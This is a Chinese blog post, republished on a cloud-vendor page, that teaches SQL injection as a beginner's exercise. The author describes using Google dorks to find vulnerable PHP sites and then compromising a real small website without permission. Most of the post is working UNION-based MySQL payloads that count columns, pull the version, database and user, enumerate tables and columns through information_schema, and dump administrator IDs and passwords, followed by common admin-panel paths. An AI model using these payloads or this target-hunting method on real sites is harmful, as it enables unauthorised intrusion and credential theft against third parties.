新手学习SQL 注入式攻击

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介:

2天以前,俺对于SQL注入式攻击仅仅是有个理论的概念,昨天上班无聊,随手搜索了一下相关的文档,做了个小练习,结果成功获取了某小网站的管理员权限,现在分享一下学习心得。


第一步:搜索可能有漏洞的网站

Google 是很强大的,之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:

inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=

inurl:pageid=

网上有个术语,把这些称作“Google Dorks”

如果想针对某个特定的网站,可以用类似的格式搜索:site: http:// www.victimsite.com  inurl:php?id=


第二步:检测一下目标是否有明显漏洞

搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。

例如http:// www.victimsite.com /index.php?id=2'

经过5分钟的随意搜索和测试,俺找到一个学习的目标~

正常界面是这样的,

122406936.png

但是等我输入单引号,同样的界面就变成了

122427279.png


当我加上and 1=2 之后呢变成了

122444708.png

Good!很明显,对于不同的SQL语句有不同的反馈,有门!


第三步:看看该表有多少个字段


这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段

比如当我输入1-4的时候是这个界面


122502204.png

输入5就变成了

122522854.png

很好,那说明这个表就只有4个字段。


第四步:找到有漏洞的字段


如果字段数目是7,那么可以用以下方式,注意数字改成负数

http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—

或者

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—


以我的攻击目标为例

122547943.png

很好,说明字段2有漏洞


第五步:找到对应的版本号,数据库和用户


把上面的2换成对应的version(),database()user()即可,例如

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—

我的执行结果是

122610557.png

122632837.png

122651792.png


第六步:看看这个数据库下有哪些表


group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables where table_schema=database()

例如:http://www.victimsite.com/index.php?id=-2 and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere table_schema=database()—

执行结果如下:

122715634.png


第七步:找到表里的字段名称


"from information_schema.tables where table_schema=database()--替换成"FROMinformation_schema.columns WHERE table_name=mysqlchar—

然后在firefox上安装一个插件HackBar

装好以后界面如下

122735674.png

选择Sql->Mysql->MysqlChar(),然后输入你想查询的表名

122751311.png

将生成的结果替换到mysqlchar

http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns wheretable_name=CHAR(97, 100,109, 105, 110)--

122809607.png

成功的获取字段名称!


第八步:查询表获得账户信息

group_concat(columnname1,0x3a,anothercolumnname2).来替换之前的字段

http://www.victimsite.com/index.php?id=-2
and 1=2 unionselect 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin—

例如

122829933.png

第九步:找到管理员版面登录

一般可能在以下地方存在

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/



122847970.png


到此为止,俺的第一个sql注入式攻击的测试成功~


转载自beanxyz的博客











本文转自Grodd51CTO博客,原文链接:http://blog.51cto.com/juispan/2069464,如需转载请自行联系原作者

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
2天前
|
SQL 缓存 关系型数据库
MySQL技能完整学习列表6、查询优化——3、查询缓存——4、SQL优化技巧
MySQL技能完整学习列表6、查询优化——3、查询缓存——4、SQL优化技巧
65 0
|
2天前
|
SQL 测试技术 项目管理
轻松学习SQL外键约束的核心原理和实用技巧
轻松学习SQL外键约束的核心原理和实用技巧
49 0
|
2天前
|
SQL 存储 数据库
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
|
2天前
|
SQL 关系型数据库 MySQL
MySQL技能完整学习列表3、SQL语言基础——1、SQL(Structured Query Language)简介——2、基本SQL语句:SELECT、INSERT、UPDATE、DELETE
MySQL技能完整学习列表3、SQL语言基础——1、SQL(Structured Query Language)简介——2、基本SQL语句:SELECT、INSERT、UPDATE、DELETE
56 0
|
2天前
|
SQL 安全 网络安全
确保你的数据库安全:如何防止SQL注入攻击
确保你的数据库安全:如何防止SQL注入攻击
|
2天前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
2天前
|
SQL 关系型数据库 MySQL
快速学习MySQL SQL语句
快速学习MySQL SQL语句
|
2天前
|
SQL 安全 API
Django的安全性基石:防止SQL注入攻击
【4月更文挑战第15天】Django,Python的流行Web框架,以其内置的安全机制防范SQL注入攻击。通过ORM系统、安全查询API、用户输入验证和CSRF保护,确保应用安全。开发者应遵循最佳实践,如使用ORM、严格验证输入、及时更新库和限制敏感数据访问,以增强安全性。
|
2天前
|
SQL 数据库 内存技术
学习数据库要掌握的54条SQL查询语句
学习数据库要掌握的54条SQL查询语句
17 0
|
2天前
|
SQL 安全 API